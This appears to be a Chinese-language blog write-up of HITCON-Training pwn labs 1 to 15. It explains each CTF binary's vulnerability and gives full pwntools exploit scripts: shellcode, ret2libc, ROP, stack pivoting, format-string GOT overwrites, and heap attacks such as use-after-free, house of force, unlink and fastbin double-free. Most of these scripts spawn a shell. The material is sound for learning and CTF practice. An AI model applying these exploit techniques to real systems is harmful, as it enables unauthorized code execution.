b*0x08048720对0x08048720下断点，也就是在判断语句cmp edx,eax处
输入一个数字，gdb断下；
输入set $eip = 0x08048724，直接跳过jnz，直接执行for循环打印flag操作
c继续执行，看到有flag弹出。
* * *
# lab2
checksec一波，只开了canary保护
接着扔到ida，发现是让你输入shellcode然后程序就去执行你的shellcode，
但正如这道题的名字orw，获取flag的方法是用open,read,write三个syscall来完成的，但不能用拿shell的方式，因为orw_seccomp()中的代码是这样的：
因为通过查资料发现这个prctl函数有点迷，限制了我们syscall的调用，具体的为什么限制，怎么样限制我也看得不是很懂，反正就是不能用system（/bin/sh）或者execve（/bin/sh）了
那就需要我们自己写shellcode执行cat flag，
内容为：
fp = open("flag",0)
read(fp,buf,0x30)
write(1,buf,0x30)
那我们需要查到，O'R'W'三个函数对应的系统调用号和参数应该调入的寄存器
这段代码对应的汇编是这样的：
> push 1;
> dec byte ptr [esp]; 先将1入栈后在用dec指令减1，得到0作为指针数组的第二个元素
> push 0x67616c66; 再将“flag”入栈作为指针数组的第一个元素
> mov ebx,esp; ebx指向栈顶也就是指向 open函数的第一个参数（指针数组）
> xor ecx,ecx; xor清零ecx对应第二个参数
> xor edx,edx; xor清零edx对应第三个参数
> xor eax,eax; xor清零eax
> mov al,0x5; 向eax传入系统调用号0x05
> int 0x80; 调用fp=open("flag",0)
> mov ebx,eax; ebx被赋值为0x05，read(fp,buf,0x30)
> xor eax,eax; xor清空eax
> mov al,0x3; 传入read函数对应的系统调用号
> mov ecx,esp; 将栈顶的地址传给ecx作为read的第二个参数，将flag文件中的内容入栈
> mov dl,0x30; read的第三个参数，读0x30个字符
> int 0x80; 调用read(fp,buf,0x30)
> mov al,0x4; write函数的系统调用号，write(1,buf,0x30)
> mov bl,1; ebx对应第一个参数
> mov dl,0x30; edx对应第三个参数
> int 0x80; 调用write(1,buf,0x30)
其实也可以用pwntools的asm函数来写：
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
# lab3
这道题是最基础的栈溢出，操作是把shellcode写到name的空间里面去，然后溢出v4的缓冲区，跳转到name的地址去执行shellcode从而getshell，但是也有一个小坑需要注意，v4在栈空间里面是以esp来寻址的，所以，v4的缓存区的大小是0x1c而不是0x14
exp如下
# lab4
拿到题目按照老套，一波checksec+IDA：
一套看下来，就会发现，是一道简单的return to libc ，需要注意的地方是，第一个输入，是输入一个10进制的地址，然后返回这个地址的内容给你
由此就产生了思路：
利用这个功能去把puts函数的真实地址打印出来，也就是，去把got表中的内容搞出来，有了puts函数的真实地址，然后在把libc中各个函数的地址搞出来，算一下偏移量，就很容易得到system函数的真实地址，然后再用find命令或者用pwntools的函数，去找出“/bin/sh”的地址，这样我们就可以拿到shell了
exp如图：
# lab5
按照老套路，一波checksec+IDA：
发现也还是一道比较简单的题目，但也学到了一些新的姿势
这道题 就一个输入，然后是静态链接，加载了很多东西进来，又开了nx保护，没有发现system函数，没有发现binsh参数
所以应该是ret2systemcall的题目，用rop，进行int0x80中断，执行系统调用
所以我们需要找到，有pop eax，ebx,ecx,edx,ret这样的gadget，通过一波搜索找到了这些：
> 0x080493e1 : int 0x80
> 0x080bae06 : pop eax ; ret
> 0x0806e82a : pop edx ; ret
> 0x0806e850 : pop edx ; pop ecx ; pop ebx ; ret
但是我们要调用execve（/bin/sh）还需要参数，题目里面找不到参数，那么我们只能自己去写入了，写入就要用到一些新的姿势了，找到一种gadget，要有能将某个寄存器的内容写到内存的某个地方的功能，
通过一波搜索，我们找到了这些：
> 0x0807b301 : mov dword ptr [eax], edx ; ret
> .bss NOBITS 080eaf80 0a1f80 00136c 00 WA 0 0 32
这样一来，我们就可以先把bss段的地址给eax，然后再把参数给edx，然后执行这个gadget就能实现把参数写进bss段里面了，接着再开始把各个参数传给各个寄存器，实现系统调用
* * *
# lab6
这道题目就不是很容易了qvq，涉及到了严重的知识盲区，
从题目来看，mian函数只能执行一次，那么ret2lib的操作就执行不了了，然后就一个输入，read读取0x40个字节到buf0x28的空间中，会溢出0x12个字节，那么可以用来构造的paylode长度就很有限了，这个时候就要用到一种叫做
**构造假栈帧** 的操作了
**原理是，通过溢出，去执行一次read函数，把我们要接下来执行的rop链写到bss的某个地址里去（可以根据用readelf
命令去查一下bss的哪个地方有执行的权力），接着构造假的ebp，让ebp跳转到bss的某个地址中，从而让计算机把那个地址当成栈帧，达到构造假栈帧的目的。**
我们首先用ROPgadget去找找可以用的gadget：
> 0x08048418 : leave ; ret #用于返回栈，改变ebp和esp的值
> 0x0804836d : pop ebx ; ret #p1ret 用于放参数 (参考系统调用)
> 0x08048569 : pop esi ; pop edi ; pop ebp ; ret #p3ret 用于最后同时控制ebp和esp，进行ret操作直接执行system（/bin/sh）
通过看图，可以很清楚的了解整个构造假栈帧的过程，重点在于理解esp和ebp是怎么样变化的
完整的exp是这样的：
#!/usr/bin/python
# -*- coding:utf-8 -*- from pwn import *
context.log_level = 'debug'
p = process('./migration')
elf = ELF("./migration")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
system_libc = libc.symbols["system"]
print "system_libc:"+hex(system_libc)
read_plt = elf.plt["read"]
print "read_plt:"+hex(read_plt)
puts_got = elf.got["puts"]
print "puts_got:"+hex(puts_got)
puts_plt = elf.plt["puts"]
print "puts_plt:"+hex(puts_plt)
puts_libc = libc.symbols["puts"]
print "puts_libc:"+hex(puts_libc)
binsh_libc= libc.search("/bin/sh").next()
print "binsh_libc:"+hex(binsh_libc)
leave_ret = 0x08048418
p3ret = 0x08048569 #pop esi ; pop edi ; pop ebp ; ret
p1ret = 0x0804836d #pop_ebp_ret
buf1 = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
payload = 'a'*40
payload +=p32(buf1)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf1)+p32(0x100)
p.recvuntil(" :\n")
p.send(payload)
sleep(0.1)
payload=p32(buf2)+p32(puts_plt)+p32(p1ret)+p32(puts_got)+p32(read_plt)+p32(leave_ret)+p32(0)+p32(buf2)+p32(0x100)
p.send(payload)
sleep(0.1)
puts_addr =u32(p.recv(4))
print "puts_addr:"+hex(puts_addr)
offset = puts_addr - puts_libc
system_addr = system_libc + offset
binsh = binsh_libc +offset
'''
payload =p32(buf1)+p32(read_plt)+p32(p3ret)+p32(0)+p32(buf1)+p32(0x100)+p32(system_addr)+p32(0xdeadbeef)+p32(buf1)
p.send(payload)
sleep(0.1)
#p.send("/bin/sh\0")
p.interactive()
'''
payload =p32(buf1)+p32(system_addr)+"bbbb"+p32(binsh)
p.send(payload)
sleep(0.1)
p.interactive()
"""
0x08048418 : leave ; ret #用于返回栈
0x0804836d : pop ebx ; ret #p1ret 用于放参数
0x08048569 : pop esi ; pop edi ; pop ebp ; ret
#p3ret 用于平衡栈，从而继续执行后面的rop
"""
# lab7
这是一道格式化字符串漏洞的题目，这道题还是比较简单的，就是给你一个随机数，猜对这个随机数了就给你cat
flag，然后我们就利用printf函数的格式化字符串漏洞去泄漏出随机数的数值，这道题就迎刃而解了。
按照套路IDA+checksec一波：
可以看到这道题只有格式化字符串的问题，栈溢出完全没办法利用，另外还开了canary和NX
我们要泄漏password的话，首先得找到格式化字符串的地址在哪里，于是我们需要输入“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p。。。。”这样的一大串东西，结果如下：
我们可以看到，%p泄漏出了printf栈里面的东西，并且可以发现AAAA也就是“0x41414141”在第十个位置，也就是说格式化字符串在栈的第十个位置，于是我们就可以构造：【泄漏地址】+%10$s，来把password给泄漏出来
完整exp如下：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
p = process('./crack')
payload = p32(0x804A048)+'#'+'%10$s'+'#'
#为了方便下面接收的时候进行识别，需要用一个字符来加以标志
print payload # H\xa0\x0#%10$s#
p.recvuntil('What your name ? ')
p.sendline(payload)
p.recvuntil("#")
r = p.recvuntil("#")
print r # x\x9e`#
print r[:4] # x\x9e`
password = u32(r[:4])
print password # 1611505272
p.recvuntil("Your password :")
p.sendline(str(password))
p.interactive()
另外这道题有一点比较谜的地方是并不是每一次执行脚本都能成功，有一定的机率会失败，也就是猜错随机数，我在想是不是因为有时候生成的随机数过大占到了8个字节，然后我只泄漏了4个字节就会导致失败
其次，在我做完这道题后去看了一下大佬的wp，发现还可以直接把随机数改了，附上Veritas501大佬的wp：
from pwn import *
context.log_level = 'debug'
cn = process('./crack')
p_pwd = 0x0804A048
fmt_len = 10
cn.recv()
pay = fmtstr_payload(fmt_len,{p_pwd:1})
cn.sendline(pay)
cn.recv()
cn.sendline('1')
cn.recv()
cn.recv()
# lab8
这也是一道简单的格式化字符串漏洞的题，但却有四种解法，学习到不少姿势
保护机制和上一题一样的，就不能用栈溢出的操作了
从这个反汇编的代码就可以看出有两种解法
一是覆盖218
二是覆盖-87117812
而第三种方法是，修改puts的got表为【system("cat /home/craxme/flag")】的地址，这样一来在执行到【puts("You
need be a phd")】的时候会直接去执行【system("cat /home/craxme/flag")】
第四种方法是，修改puts的got表改到main中read的上面，把printf的got表改成system的plt表地址，这样就可以直接拿到shell了
测试格式化字符串的位置：
Please crax me !
Give me magic :AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffa6df7c.0x100.(nil).0xf7fef000.0x80482d2.0xf63d4e2e.0x41414141.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
You need be a phd
发现格式化字符串参数在第7个位置
以下是exp：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
p = process('./craxme')
magic = 0x0804a038
catflag = 0x080485f6#或者0x080485d8
putsgot = 0x0804a018
printfgot = 0x0804a010
systemplt = 0x08048410
payload1 = p32(magic) + '%0214c'+'%7$n'
#覆盖小数字：218
#----------------------------------------------------- '''
负数转化：
-87117812 --> 0xFACEB00C
\x0c
\xb0
\xce
\xfa
'''
payload2 = p32(magic) + p32(magic+1) + p32(magic+2)+ p32(magic+3)#4x4=16
payload2 += '%252c%7$hhn' #252+16 =268-->0x10c
payload2 += '%164c%8$hhn' #268+164 = 432 -->0x1b0
payload2 += '%30c%9$hhn' #432+30 =462 -->0x1ce
payload2 += '%44c%10$hhn' #462+44 =506 -->0x1fa
#覆盖大数字：-87117812
#payload2 = fmtstr_payload(7, {magic: 0xfaceb00c})
#也可以用这个函数来完成上面的payload的构造
#-----------------------------------------------------
payload3 = fmtstr_payload(7, {putsgot: catflag})
#-----------------------------------------------------
payload4 = fmtstr_payload(7, {putsgot:0x0804858B,printfgot:systemplt})
p.recvuntil('Give me magic :')
p.sendline(payload4)
p.interactive()
# lab9
这道题就比较有难度了，找了很久只发现[Veritas501](https://veritas501.space/2017/05/23/HITCON-training%20writeup/)大佬才写了这道题的wp，认真膜拜了一波，才理解这道题是怎么样做出来的
从IDA和checksec来看，就是开了NX保护，然后有个格式化字符串的漏洞，关键点在于，这次的buf不在栈上，而是在bss段里，这就导致我们构造的格式化字符串都在bss段了，这就很尴尬了，不能向之前一样用%s%p%n去读取和写入栈的数据了
于是我们只能间接得去写和读数据，通过ebp保存的数据从而实现数据的读写
我们可以看到在输入“asds”后的栈中的情况：
这里有用的就是这四条，分别是ebp1、fmt7、ebp2、fmt11，而他们相对于格式化字符串的偏移分别是6、7、10、11
0048| 0xffffceb8 --> 0xffffcec8 --> 0xffffced8 --> 0x0
0052| 0xffffcebc --> 0x8048584 (<play+59>: nop)
、、、、、、、、、、、、、
0064| 0xffffcec8 --> 0xffffced8 --> 0x0
0068| 0xffffcecc --> 0x80485b1 (<main+42>: nop)
从上我们可以看到，ebp1的内容是指向ebp2的地址的指针，而ebp2的内容又是指向其他地址的指针，因此如果我们用%n对ebp1进行操作，那么实际上会修改ebp2的值，如果此时再把ebp2的内容改成一个指向fmt7的指针，然后在对ebp2进行%n操作，那么就可以改变fmt7的内容，从而实现了间接修改某个地址的内容，试想一下，我们把fmt7的内容又改成printf的got表地址，那么fmt7就指向了printf_got的地址，如果用%s操作，就可以把printf_got的内容打印出来，从而得到了printf函数的真正地址，到了这里，我们就可以通过printf函数泄漏出system的真正地址了，于是这道题的解体思路就出来了：
1.通过ebp_1使ebp_2指向fmt_7
2.通过ebp_2将fmt_7处的内容覆盖成printf_got
3.通过ebp_1使ebp_2指向fmt_11
4.通过ebp_2将fmt_11处的内容修改成printf_got+2
5.通过fmt_7将printf_got地址泄露出来
6.计算出system函数的地址 ,将system函数地址写入printf在got表的地址
具体做法是将 system函数地址的前两个字节写入fmt_7,后两个字节写入 fmt_11
7.执行printf函数相当于执行system函数
8.输入"/bin/sh"字符串，让system函数从栈中取参数getshell
思路如图所示：
完整的exp：
#!/usr/bin/env python
# -*- coding: utf-8 -*- from pwn import *
context.log_level = 'debug'
p = process('./playfmt')
elf = ELF('./playfmt')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
printf_got = elf.got['printf']
system_libc = libc.symbols['system']
printf_libc = libc.symbols['printf']
p.recv()
log.info("**********leak printf_got************")
payload = '%6$x'
p.sendline(payload)
ebp2 = int(p.recv(),16)
ebp1 = ebp2 - 0x10
fmt_7 = ebp2 -0x0c
fmt_11 = ebp2 + 0x04
log.info("printf_got-->p[%s]"%hex(printf_got))
log.info("ebp_1-->p[%s]"%hex(ebp1))
log.info("ebp_2-->p[%s]"%hex(ebp2))
log.info("fmt_7-->p[%s]"%hex(fmt_7))
log.info("fmt_11-->p[%s]"%hex(fmt_11))
payload = '%' + str(fmt_7 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_7
p.sendline(payload)
p.recv()
payload = '%' + str(printf_got & 0xffff) + 'c%10$hn'
#fmt_7 = prinf_got
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
'''
这个循环用于保证所有的字节都被输出，因为recv（）一次最多只能接收0x1000
个字节，所以要进行多次recv（）才能保证全部字节都输出以便进行下面的操作
需要注意的是，要构造一个字符串“23r3f”来作标志，返回的大量字符串中如果
包含了这个字符串那么说明之前构造的%n写入已经完成
'''
payload = '%' + str(fmt_11 & 0xffff) + 'c%6$hn'
#ebp2 = fmt_11
p.sendline(payload)
p.recv()
payload = '%' + str((printf_got+2) & 0xffff) + 'c%10$hn'
#fmt_11 = prinf_got + 2
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
log.info("******leaking the print_got_add*********")
payload = 'aaaa%7$s'
p.sendline(payload)
p.recvuntil("aaaa")
printf_addr = u32(p.recv(4))
log.info("print_got_add is:[%s]"%hex(printf_addr))
system_addr = printf_addr - printf_libc + system_libc
log.info("system_add is:[%s]"%hex(system_addr))
#pause()
payload = '%' +str(system_addr &0xffff) +'c%7$hn'
payload += '%' +str((system_addr>>16) - (system_addr &0xffff)) +'c%11$hn'
'''
这里需要注意的是，我们把system的地址的前后两个字节分别写到fmt-7和fmt-11中，
在写入后两个字节的时候要注意减去前面输入的(system_addr &0xffff))，这是因为
%n写入操作是算累积输入的字符个数
'''
p.sendline(payload)
p.recv()
while True:
p.send("23r3f")
sleep(0.1)
data = p.recv()
if data.find("23r3f") != -1:
break
p.sendline("/bin/sh")
'''
这个时候输入参数到栈中，本来下一步程序会调用printf函数，但是此时printf函数的got表
已经被修改为system的地址了，此时就会执行system并且从栈中取bin/sh参数
于是就这样getshell
'''
p.interactive()
* * *
# lab10
hacknote
从这里开始就堆的题目了
可以看到没开多少保护，是一道简单的UAF的漏洞
在创建note的时候，malloc了两次，第一次malloc一个8字节大小的块去存一个函数指针，用来打印出chunk的内容，第二次malloc一个size大小的块去存note的内容
也就是一次新建note两次malloc，一次大小是8一次是输入的size
这个时候就很容易想到利用的方法了，也就是UAF----use after free
由于malloc和free的机制问题，先被free掉的块会很快用于新的malloc（如果大小合适的话）
从图可以看到这个程序中的delet功能和show功能是怎么样实现的
这里还有一个直接cat flag的函数，因此我们只要想办法调用这个函数就可以搞定了
解题的思路是：
1. 申请chunk1，大小为32（保证是fast bin范围就行），内容随意
2. 申请chunk2，大小为32（保证是fast bin范围就行），内容随意
3. 申请chunk3，大小为32（保证是fast bin范围就行），内容随意
4. free掉chunk1
5. free掉chunk2
此时的fast_bin的分布是这样的：
chunk2(8大小)-->\-->chunk1(8大小)
chunk2(32大小)-->chunk1(32大小)
1. 申请chunk4，大小为8，内容为magic的函数地址
申请chunk4的时候首先会申请一个8大小的空间，这时chunk2(8大小)的空间给了这个块，接着再申请size
大小的块，这时chunk1(8大小)的空间给了这个块
同时向chunk4中写入magic的函数地址，也就相对应向chunk1(8大小)写入magic的函数地址，此时原本存放puts函数指针的地方被magic函数覆盖了，也就导致了接下来打印chunk1内容的时候会直接执行magic
2. 打印chunk1的内容，执行magic函数
exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./hacknote", aslr=0)
elf = ELF("./hacknote")
#libc = ELF("./libc-2.23.so")
#libc = elf.libc
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()
catflag = 0x08048986
#add 0
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("aaaaaaaa")
#add 1
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("bbbbbbbb")
#add 2
ru("Your choice :")
sl("1")
ru("Note size :")
sl("32")
ru("Content :")
sd("cccccccc")
#free 0
ru("Your choice :")
sl("2")
ru("Index :")
sl("0")
#free 1
ru("Your choice :")
sl("2")
ru("Index :")
sl("1")
# gdb.attach(p)
# pause()
#add 3
ru("Your choice :")
sl("1")
ru("Note size :")
sl("8")
ru("Content :")
sd(p32(catflag))
#show
ru("Your choice :")
sl("3")
ru("Index :")
sl("0")
# ru("Your choice :")
# sl("4")
getshell()
# lab11
先来看一下这题的基本信息和漏洞点
以上就是这道题目的漏洞点，大概有三种方法可以用来解题：
## 方法一：利用house of force，修改top chunk大小再分配chunk，实现任意地址写，调用magic函数
具体的原理可以看ctf-wiki中的介绍，不算难理解
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./bamboobox", aslr=0)
elf = ELF("./bamboobox")
def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def getshell():
p.interactive()
def show():
ru("Your choice:")
sd("1")
def add(index,content):
ru("Your choice:")
sd("2")
ru("Please enter the length of item name:")
sd(str(index))
ru("Please enter the name of item:")
sd(content)
def change(index,length,content):
ru("Your choice:")
sd("3")
ru("Please enter the index of item:")
sd(str(index))
ru("Please enter the length of item name:")
sd(str(length))
ru("Please enter the new name of the item:")
sd(content)
def delete(index):
ru("Your choice:")
sd("4")
ru("Please enter the index of item:")
sd(str(index))
def chunk(i):
return 0x6020c8+i*0x10
magic = 0x400d49
atoi_got = elf.got["atoi"]
#-------------------------------------------------------------------- #方法一
add(0x50,'aaaa')
payload = 'a'*(0x50)+p64(0)+ p64(0xffffffffffffffff)
change(0,len(payload),payload)
# gdb.attach(p)
# pause()
heap_base = -(0x50 + 0x10)-(0x10+0x10)
malloc_offset = heap_base -0x10
add(malloc_offset,'bbbb')
pause()
add(0x10,p64(magic)*2)
#print p.recv()
pause()
ru("Your choice:")
sl("5")
getshell()
## 方法二：利用unlink操作，调用magic函数
#方法二
add(0x80,"a"*8)chunk0
add(0x80,"b"*8)chunk1
add(0x80,"c"*8)chunk2
#需要注意，这三个chunk的大小都要保证不在fastbin的范围内
#因为fastbin的size的p位默认为1，就无法进行unlink操作
FD = 0x6020c8 - 3*8#在bss段，0x6020c8恰好存储了chunk0的指针
BK = FD +8
payload1 = p64(0)+p64(0x81)+p64(FD)+p64(BK)+"a"*0x60
payload1 += p64(0x80)+p64(0x90)
change(0,0x90,payload1)
delete(1)
#构造一个假的大小为0x80的fake_chunk，同时通过堆溢出
#将chunk1的pre_size和size进行修改，使得size的p位为0
#在free掉chunk1的时候，fake_chunk和chunk1就会进行合并
#这时就会对fake_chunk进行unlink操作
#这时就要对FD和BK进行精心构造，使得能够绕过unlink的检查
#也就是使得：FD->bk = p && BK->fd = p
#在通过检查后，unlink会导致：*p=p-3*8=0x6020c8 - 3*8
payload2 = p64(0)+p64(0)+p64(0x80)+p64(FD)+p64(0x80)+p64(atoi_got)
change(0,len(payload2),payload2)
change(1,0x10,p64(magic))
#这时向chunk0中输入内容，实际上也就是向0x6020c8 - 3*8中输入内容
#于是，就可以为所欲为地修改chunk_list，从而构造 UAF
ru("Your choice:")
sl("5")
getshell()
#ps：这里有个玄学问题是，只能改chunk1的为atoi的got表，改chunk0就不行。。。很迷
## 方法三，利用unlink，构造system(/bin/sh)
#方法三
#前面的内容和方法二一样，paylode2后就不一样
payload2 = p64(0)+p64(0)+p64(0x80)+p64(atoi_got)
#ps：是真的迷，如果用这种方法，改chunk0为atoi的got表就可以成功
change(0,0x20,payload2)
show()
ru("0 : ")
atoi = u64(ru("2 : ")[:6].ljust(8,"\x00"))
print "atoi----->"+hex(atoi)
#通过atoi的真实地址，去libc查找可以得到以下：
offset_system = 0x0000000000045390
offset_atoi = 0x0000000000036e80
libc_base = atoi-offset_atoi
system = libc_base+offset_system
change(0,0x8,p64(system))
sl("/bin/sh\x00")
sl("5")
getshell()
# lab12
醉了，这题和网鼎杯半决赛的pwn3基本上一毛一样，就题目描述改了一下
整个程序由多个功能函数组成
add函数：
先创建了一个0x28大小的chunk来存储三个信息，一是标志位flag，二是指向name的指针，三是color的内容，
其中创建了一个用户指定大小的chunk用于存储name的内容
接着这个0x28大小的chunk被存储到bss段中去，表示每一个不同的flower，这里和常规的堆的题目一样，都有这样的chunk_list（flowerlist）存在
visit函数：
常规操作，把chunk的内容给打印输出，一般都是用于泄漏地址
del函数：
这个del函数的功能只是把name所在的chunk给free掉了，而先前创建0x28大小的chunk并没有被free掉
只有在clean函数，如下图，才是把先前创建0x28大小的chunk 给free掉
解题的思路如下：
* 首先通过unsorted_bin，free掉一个chunk，让它进入unsorted_bin表，使得fd指向表头，然后通过泄漏出的地址，通过一顿偏移的操作，泄漏出malloc_hook的地址，进而泄漏出libc的基址
* 利用double-free，使得下一个新创建的chunk会落在malloc_hook上，进而改了malloc_hook的地址，改变程序执行流程
ps：这里需要注意的是，在构造double-free的时候，需要注意绕过他的检验，使得fd+0x08指向的数值是0x70~0x7f的，fd指向pre_size位，fd+0x08则指向了size位。
具体原理可见：<https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#fastbin-double-free>
exp：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./secretgarden")#, aslr=0
elf = ELF("./secretgarden")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- def create(size,name,color):
ru("Your choice : ")
sl("1")
ru("Length of the name :")
sl(str(size))
ru("The name of flower :")
sd(name)
ru("The color of the flower :")
sl(color)
def visit():
ru("Your choice : ")
sl("2")
def remote(index):
ru("Your choice : ")
sl("3")
ru("Which flower do you want to remove from the garden:")
sl(str(index))
def clean():
ru("Your choice : ")
sl("4")
create(0x98,"a"*8,"1234")
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x20,"b"*8,"b"*8)
remote(0)
clean()
create(0x98,"c"*8,"c"*8)
visit()
ru("c"*8)
leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak -0x58-0x10 -libc.symbols["__malloc_hook"]
print "leak----->"+hex(leak)
malloc_hook = libc_base +libc.symbols["__malloc_hook"]
print "malloc_hook----->"+hex(malloc_hook)
print "libc_base----->"+hex(libc_base)
one_gadget = 0xf02a4 + libc_base
remote(1)
remote(2)
remote(1)
#debug()
create(0x68,p64(malloc_hook-0x23),"b"*4)
create(0x68,"b"*8,"b"*8)
create(0x68,"b"*8,"b"*8)
create(0x68,"a"*0x13+p64(one_gadget),"b"*4)
remote(1)
remote(1)
getshell()
# lab13
常规的保护机制
这题应该算是一个off_by_one吧，只能溢出一个字节，改变下一个chunk的size，然后再free，然后再create，再进行操作
主要的漏洞点在edit函数：
主要的思路是：
* create两个chunk，用chunk0溢出到chunk1 的size位，然后free掉chunk1
* 申请一个新的chunk2，使得chunk2落在chunk1size的部分从而修改指针
* 改free的got表为system的地址，然后使得chunk0 的内容为/bin/sh，接着free（chunk0）从而getshell
exp如下：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./heapcreator")#, aslr=0
elf = ELF("./heapcreator")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#------------------------------------- def create(size,contant):
ru("Your choice :")
sl("1")
ru("Size of Heap : ")
sl(str(size))
ru("Content of heap:")
sd(contant)
def edit(Index,contant):
ru("Your choice :")
sl("2")
ru("Index :")
sl(str(Index))
ru("Content of heap : ")
sd(contant)
def show(Index):
ru("Your choice :")
sl("3")
ru("Index :")
sl(str(Index))
def delete(Index):
ru("Your choice :")
sl("4")
ru("Index :")
sl(str(Index))
free_got = elf.got["free"]
print "free_got------>"+hex(free_got)
create(0x18,"a"*8)
create(0x10,"b"*8)
edit(0,"/bin/sh\x00"+"a"*0x10+p64(0x41))
#debug()
delete(1)
create(0x30,p64(0)*4+p64(0x30)+p64(free_got))
show(1)
ru("Content : ")
free = u64(p.recv(6).ljust(8,"\x00"))
libc_base = free- libc.symbols["free"]
system = libc_base+libc.symbols["system"]
print "free------>"+hex(free)
print "libc_base------>"+hex(libc_base)
edit(1,p64(system))
delete(0)
getshell()
#debug()
* * *
# lab14
这里存在一个直接cat flag 的函数，只要想办法把magic 的值改得比0x1305大就行了
这里需要用到一个unsorted_bin的小操作
利用修改一个unsorted_bin的bk，使得指定的内存位置的值变得很大
首先，释放一个chunk到 unsorted bin 中。
接着利用堆溢出漏洞修改 unsorted bin 中对应堆块的 bk 指针为
&magic-16，再一次分配chunk的时候就会触发漏洞，会把magic的值改成一个大的数值
[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heapp)上面其实也有针对这题的特别讲解，原理还是比较易懂
直接上exp：
#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")
ip =""
if ip:
p = remote(ip,20004)
else:
p = process("./magicheap")#, aslr=0
elf = ELF("./magicheap")
libc = elf.libc
#------------------------------------- def sl(s):
p.sendline(s)
def sd(s):
p.send(s)
def rc(timeout=0):
if timeout == 0:
return p.recv()
else:
return p.recv(timeout=timeout)
def ru(s, timeout=0):
if timeout == 0:
return p.recvuntil(s)
else:
return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
gdb.attach(p,'')
pause()
def getshell():
p.interactive()
#-------------------------------------
def create(Size,contant):
ru("Your choice :")
sl("1")
ru("Size of Heap : ")
sl(str(Size))
ru("Content of heap:")
sd(contant)
def edit(index,Size,contant):
ru("Your choice :")
sl("2")
ru("Index :")
sl(str(index))
ru("Size of Heap : ")
sl(str(Size))
ru("Content of heap : ")
sd(contant)
def delete(index):
ru("Your choice :")
sl("3")
ru("Index :")
sl(str(index))
create(0x20, "aaaa") # 0
create(0x80, "aaaa") # 1
create(0x20, "aaaa") # 2
delete(1)
magic = 0x6020c0
fd = 0
bk = magic - 0x10
payload = "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk)
edit(0, 0x40,payload)
create(0x80, "aaaa")
p.recvuntil(":")
p.sendline("4869")
print p.recvall()
#getshell()
* * *
# lab15
这题是c++编写的程序，打开IDA后发现反编译的东西真恶心，完全不知道怎么看，只能看题目提供的源码
从保护机制来看，连NX 都没开，八成就是用写入shellcode的操作了
这里涉及到一个c++虚表的知识点
大概意思是，在c++的类中的虚表会通过一个叫虚表的东西进行跳转从而执行函数
这题的解法的思路在于，修改虚表，跳转到shellcode的位置执行
通过IDA搜索功能，可以找到dog的虚表位置：0x403140
关于虚表的知识点，可以参考这位大佬的博客：[http://showlinkroom.me](http://showlinkroom.me/2017/08/21/C-%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/)
简单介绍一下，虚表大概是这样子的：
而我们要操作它，使他变成这样：
